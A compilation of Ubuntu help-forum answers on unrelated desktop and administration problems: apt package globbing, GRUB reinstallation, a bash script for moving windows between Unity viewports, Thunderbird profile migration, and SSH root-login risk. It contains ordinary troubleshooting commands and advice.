"Unable to locate package" error during apt-get uninstall

You are globbing current files in the directory.  Instead of what you are running, try:

sudo apt-get purge nvidia-\*
# or...
sudo apt-get purge 'nvidia-*'

The main clue that tells me this is the case:  You tried to remove packages named like blah.deb in the apt-get purge output.  Of course packages aren't normally named that way...

To see what I mean, check ls -l in your current directory.  You should see the .deb files you are matching.  If you wouldn't have those files in your current directory, the 'nvidia-*' would pass through unaltered to the apt-get purge command.

Good rule to remember: It's always best to protect your arguments with single quotes ' to prevent unintended shell globbing and other expansions.


If you don't mind working in terminal:

use wget to download all the images. They syntax would depend on the actual page. use man wget to see the options.
use ImageMagick's convert program to convert all the images to a single pdf file:

convert -define pdf:use-trimbox=true *.tiff output.pdf

Once you figure this out, you could wrap the commands into a nice reusable script.


when you remove password of existing user for passwordless login.
ubuntu add that user into nopasswdlogin  group which means no password will be asked for login or lock screen but on command line password required for sudo etc.

Remove the user from nopasswdlogin group

sudo gpasswd -d *USERNAME*  nopasswdlogin

replace USERNAME with appropriate user name


run a live-cd, precise pangolin is probably the best option
mount the partition where Ubuntu is and take note of the mount point
run this sudo grub-install --root-directory=/mount/point /dev/sdX

where sdX is the label for the HDD where Grub will boot from.

You should be fine, just reboot the PC, eventually, after booting Ubuntu from your HDD, just run sudo update-grub.


Wolfram Mathematica on Ubuntu 12.10: no window focus on help browser

The problem likely lays in one of two places

Suggested resolution not ordered by importance

The window manager (compiz)
The Java runtime

The window manager could just be giving you a hard time, they're easy to replace.

How to switch windows manager on-the-fly?

Ubuntu is not installing the Oracle Java by default anymore due to licensing
issues. It's conceivable that the opensource version has a Java bug resulting
in this window focus issue. Determine which version of Oracle Java you need (
don't install v7 unless necessary) and retry. Since Oracle Java is unsupported, I
don't wish to cite other installation references as I don't know how well they work
or even if they're secure.

Finally, Wolfram support is awesome, if you've paid for MM you should be able to get
a response in a day or two. I remember being in their beta program for MM 4.0, they forgot to statically link motif to the build and the only reason it worked on my system ( well sorta worked) was because I had lesstif installed. They turned around the fix in about 2 days.


Unable to download necessary plugins to play music, video or download applications

Open Software Center and see if you have installed ubuntu-restricted-extras packages.

With this you can play some audio formats such as mp3 or play dvd.

For further reference or specific topics you can see this page


cannot open /usr/share/apache2/build/config_vars.mk: No such file or directory at /usr/bin/apxs2 line 203

This file is contained in apache2-dev package (see search results on packages.ubuntu.com). So you need to install it with:

sudo apt-get install apache2-bin apache2-dev

and then retry.


Currently using Thunderbird with Windows. Can I use the same Thunderbird after Ubuntu install (will remove windows)?

Thunderbird works in Linux as you realise.  But you will need to migrate the data(you mail, address books, accounts etc over to Linux yourself.  The installation procedure will not do that for you. A Linux install will replace (or sit next to if dual booting) your windows install...they do not share data, in general, though some installers may copy data across.

Fortunately the data you need to move over is present in "Profile Folders".  Locate this folder in your Windows install of Thunderbird and copy it into your Thunderbird profile in your Linux install.  Confusingly this Profile directory is not the same as the profile directory in your Thunderbird Program folder. Always back up first.


VGA Controller is Intel's but graphic card is AMD/ATI, and 3d acceleration is not supported

Try to use those two Open Source drivers:

https://launchpad.net/~ubuntu-x-swat/+archive/x-updates
https://launchpad.net/~xorg-edgers/+archive/ppa

Attention!! → If you already installed the official ATI driver so you need to remove all it's files, look at this documentation:

http://wiki.cchtml.com/index.php/Ubuntu_Raring_Installation_Guide#Removing_Catalyst.2Ffglrx
http://wiki.cchtml.com/index.php/Ubuntu_Raring_Installation_Guide#Hybrid_Graphics_and_Catalyst


How to move all windows to another workspace

Unity : What are Viewports?

Ubuntu Unity uses viewports  - basically a coordinate system (with coordinate 0,0 being top left corner) , where one giant desktop subdivided into chunks that fit your screen resolution. Coordinates grow in value as you move to the right and downwards.

The coordinate system is relative. If my current viewport is top left , everything relative to that viewport will be positive values in increments of width and height.  For instance, if my current viewport is top leftmost,  the firefox window in top middle workspace you see above is positioned in at x value 1366 and y value 0 relative to the top leftmost viewport. If my active viewport is top middle one, the terminal window in top leftmost viewport is positioned at x value -1327 60.  This is the key issue for xdotool , because xdotool does not deal with negative numbers.

Note also that, the top left corner of your current viewport will always be assumed by xdotool as coordinates 0 0 . That means we can only move stuff right and down.

Making xdotool work for Unity

Now we know that xdotool can move windows only relative to our top-left corner ( i.e., you can always move window down and right , but never up and left ). How do we make that work for unity. Well, the basic idea would be to

Figure out all the windows on current viewport
Move to a requested viewport momentarily to make the top left corner  assume coordinates 0 0 at that viewport
Move all windows to user-defined viewport coordinates
Return to the old viewport ( optional , could follow the windows as well )

Scripting Solution

The script below performs exactly the procedure described above. It can be called with either -v flag to manually specify coordinates or you can use -g flag to bring up GUI dialog. -f flag will tell the script to switch viewport too ; if that flag is not used - you'll remain on the current viewport and only windows will be moved around

Obtaining the script

One can copy the source code from this post directly or through github using the following steps:

sudo apt-get install git
cd /opt ; sudo git clone https://github.com/SergKolo/sergrep.git
sudo chmod -R +x sergrep

The script file will be /opt/sergrep/move_viewport_windows.sh

To bind script to shortcut , refer to How do I bind .sh files to keyboard combination?

Note that wmctrl and xdotool are required for this script to work
properly. You can install them via sudo apt-get install
xdotool and wmctrl

Source Code

#!/usr/bin/env bash
#
###########################################################
# Author: Serg Kolo , contact: 1047481448@qq.com
# Date: April 17 2016
# Purpose: Move all windows on the current viewport
#          to a user-defined one
# Written for:
# Tested on: Ubuntu 14.04 LTS , Unity 7.2.6
###########################################################
# Copyright: Serg Kolo , 2016
#
#     Permission to use, copy, modify, and distribute this software is hereby granted
#     without fee, provided that  the copyright notice above and this permission statement
#     appear in all copies.
#
#     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#     IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#     FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
#     THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#     LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
#     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
#     DEALINGS IN THE SOFTWARE.

get_active_viewport()
{
  xprop -root -notype _NET_DESKTOP_VIEWPORT
}

get_screen_geometry()
{
 xwininfo -root | awk '/-geometry/{gsub(/+|x/," ");print $2,$3}'
}

current_wins()
{
   HEX="$(wmctrl -lG | \
   awk -v xlim="$XMAX" -v ylim="$YMAX" \
      'BEGIN{printf "ibase=16;"} $3>0 && $3<xlim  && $4>0 && $4<ylim \
      { gsub(/0x/,""); printf "%s;",toupper($1)  } ')"
   echo $HEX | bc | tr '\n' ' '
}

gui_selection()
{
  SCHEMA="org.compiz.core:/org/compiz/profiles/unity/plugins/core/"
  read swidth sdepth  <<< "$(get_screen_geometry)"
  vwidth=$(gsettings get $SCHEMA hsize)
  vheight=$(gsettings get $SCHEMA vsize)

 width=0
 for horizontal in $(seq 1 $vwidth); do
    height=0
    for vertical in $(seq 1 $vheight);  do

      array+=( FALSE  )
      array+=( $(echo "$width"x"$height") )

    height=$(($height+$sdepth))
    done
 width=$(($width+$swidth))
 done

 zenity --list --radiolist --column="" --column "CHOICE" ${array[@]} --width 350 --height 350 2> /dev/null
}

print_usage()
{
cat << EOF
move_viewport_windows.sh [-v 'XPOS YPOS' ] [-g] [-f ] [-h]

Copyright Serg Kolo , 2016

The script gets list of all windows on the current Unity
viewport and moves them to user-specified viewport. If
ran without flags specified, script prints this text

-g flag brings up GUI dialog with list of viewports

-v allows manually specifying viewoport. Argument must be
   quoted, X and Y position space separated

-f if set, the viewport will switch to the same one where
   windows were sent

-h prints this text

** NOTE **
wmctrl and xdotool are required for this script to work
properly. You can install them via sudo apt-get install
xdotool and wmctrl

EOF
}

parse_args()
{
  if [ $# -eq 0  ];then
    print_usage
    exit
  fi
  while getopts "v:ghf" opt
 do
   case ${opt} in
     v) NEWVP=${OPTARG}
        ;;
     g) NEWVP="$(gui_selection | tr 'x' ' ' )"
        [ -z "$NEWVP" ] && exit 1
        ;;
     f) FOLLOW=true
        ;;
     h) print_usage
        exit 0
        ;;
     \?)
      echo "Invalid option: -$OPTARG" >&2
      ;;
    esac
  done
  shift $((OPTIND-1))
}

main()
{
 # Basic idea:
 #-------------------
 # 1. get current viewport and list of windows
 # 2. go to viewport 0 0 and move all windows from list
 #    to desired viewport
 # 3. go back to original viewport or follow the windows,
 #    depending on user choice
 # 4. Tell the user where they are currently

 local FOLLOW
 local NEWVP # coordinates of desired viewport
 local XMAX YMAX # must be two vals for awk to work
 local OLDVP=$(get_active_viewport | awk -F '=' '{sub(/,/," ");print $2}' )

 parse_args "$@"

 read XMAX YMAX  <<< "$(get_screen_geometry)" # move to getopts

 windows=( $(current_wins) )

 xdotool set_desktop_viewport 0 0
 for win in ${windows[@]} ; do
    echo "$win"
    xdotool windowmove $win $NEWVP
 done
 # sleep 0.25 # uncomment if necessary

 if [ $FOLLOW  ]; then
     xdotool set_desktop_viewport $NEWVP
 else
     xdotool set_desktop_viewport $OLDVP
 fi

 sleep 0.25 # delay to allow catching active viewport
 notify-send "current viewport is $(get_active_viewport | awk -F '=' '{sub(/,/," ");print $2}' )"
 exit 0
}
main "$@"

Demo

Webm recording of the script in action:

https://www.youtube.com/watch?v=cJMlC41CWWo

Issues

Due to Unity's grid plugin that is responsible for window snapping, the script cannot move the maximized , or right/left snapped windows. It will be attempted to add the momentary unset and reset of that plugin to make the script work with all windows, but because unsetting and resetting has a time delay, it might be abandoned as an idea. If you want the script to make working with all windows, install unity-tweak-tool and unset window snapping under Window Manager options.


I think the previous poster pointed you to an excellent previous post though.

First of all ... Are you starting from scratch (so there is nothing on the disk) or is Win7 already installed.

When I start from scratch I like to use an Ubuntu Live CD first to create the partitions (See Below).  I then install Win7 and later I install Ubuntu into the partitions I have setup.

My Boot partition looks something like this.

/boot = 1Gb  -> Obviously where all the boot images go
/     = 20Gb -> Ubuntu Root
/win7 = 55Gb -> I Install Win7 here so as my C: drive
/home = 50Gb -> I like a separate partition for my home dir as then if I need to re-install Ubuntu or replace it with another OS then I don't ruin my data
/swap 4Gb

In total a 140Gb drive ...

Hope this helps.


If my root password is pretty strong, do I really need to disable root access?

You are already aware of the primary reason why root logins should be disabled by sshd_config.  Brute force attacks, by definition, can be relentless and given enough time, any password can be cracked.  This is true since attackers already know 50% of the information needed to gain access to your machine: a valid privileged username.

That said, very long, high-entropy passwords certainly reduce the risks of actually being penetrated.

The answer to your question is:  No, a very strong password will not completely thwart brute force attacks.  They will only help mitigate the risk.

In practical terms, if you are managing a high value (to hackers) computer it would be very unwise to allow ssh root access (or root logins generally).  But if that were the case, policies would be in place to prevent this being done.

If you are comfortable with the risk, go for it.  The worst that could happen is that someone installs a rootkit and renders your computer useless.


How to get internal wifi working on MacBook Air 1,1 on Ubuntu Mate 16.04?

The real answer here is to install via in BIOS mode rather than EFI.
In EFI mode, the wifi card is not "approved" hardware.
When I started again using BIOS instead of EFI, it all installed without a problem. The wifi worked straight away but using the wl driver.

I installed the b43 installer and it automatically found and installed the correct b43 driver. The wifi is now working fine!

I found the solution on

https://forums.linuxmint.com/viewtopic.php?f=53&t=223778&sid=d4ad5a498dcd5dfed97324e11f14cccf&start=20


How to fix not working trash on bind mounts in Ubuntu 19.04? (and hide them in Nautilus)

I realize some time has passed since your post, but the issue remains on Ubuntu 19.10, so this answer might still be informative to some.

For your first problem, it has been discussed a bit more thoroughly there: https://unix.stackexchange.com/questions/115757/unable-to-delete-files-to-trash-in-a-bind-mounted-filesystem/115811 . In a nutshell, there is no current solution, at least for GUI experience. But one of the answers suggests that you can use the trash command from the command-line package trash-cli and that it works fine with bind mounts (However not an ideal solution for a desktop computer, I suppose).

On a side note, I personally also have the issue on my computer with Ubuntu (and also previously on Fedora, if I recall correctly), but I don't seem to encounter this problem on Manjaro (using Deepin DE at least, I haven't tried on another desktop environment and don't know if it could be related to it). I guess it would be interesting to investigate how those two different systems handle the trash to spot where the problem is on Ubuntu (and other distros having the same issue).

As for your second problem, I have to admit that I don't understand what is not working, since you are already using the option x-gvfs-hide. In my case, the only difference I can spot is that I also have the defaults option. So it would give the following with your example:

# file system      mount point      type  options                  dump  pass
  /mnt/hdd/folder  /home/user/data  none  defaults,bind,x-gvfs-hide  0     0


why fdisk doesn't show free space and cfdisk does?

Because fdisk is not cfdisk.

cfdisk is a Linux partition editor, similar to fdisk, but with a different user interface (curses).


problem when i apt get update "precise/main armhf Packages 404 Not Found"

Just delete the line:
"foreign-architecture armhf"
in file  "/etc/dpkg/dpkg.cfg.d/multiarch".

I found CUDA can work without adding armhf.

Maybe this is aim to support Tegra or just a mistake of the CUDA guide.


What is the equivalent terminal commands for installing Languages?

If for example you want to install Arabic, you would, just press Ctrl+Alt+T on your keyboard to open Terminal. When it opens, run the command below.

sudo apt-get install language-support-ar

For complete list of ISO language codes see here


steam fails to start because of missing 32bit libraries

This  because your are missing some file required my kubuntu to run steam.Source

Install lib32z1
sudo apt-get install lib32z1
install lib32ncurses5
sudo apt-get install lib32ncurses5

If the libraries are installed.Then try deleting steam.sh file and reinstalling steam

sudo rm /home/user/.local/share/Steam/steam.sh
sudo apt-get install --reinstall steam

If both these solution is not working and if you are using  Nouveau driver try installing this  nvidia-352 driver sudo apt-get install nvidia-352


If I had your task to do, I would proceed thus:

grep -f '/home/victor/Documentos/Temporal/13-06-04_Cuentas_para_revisar_cajas.txt' -- Inventory.csv > cuentasxcajas.txt

No need for a Bash script, of for loops of for useless uses of cats. Just make sure you don't have empty lines in the file /home/victor/Documentos/Temporal/13-06-04_Cuentas_para_revisar_cajas.txt.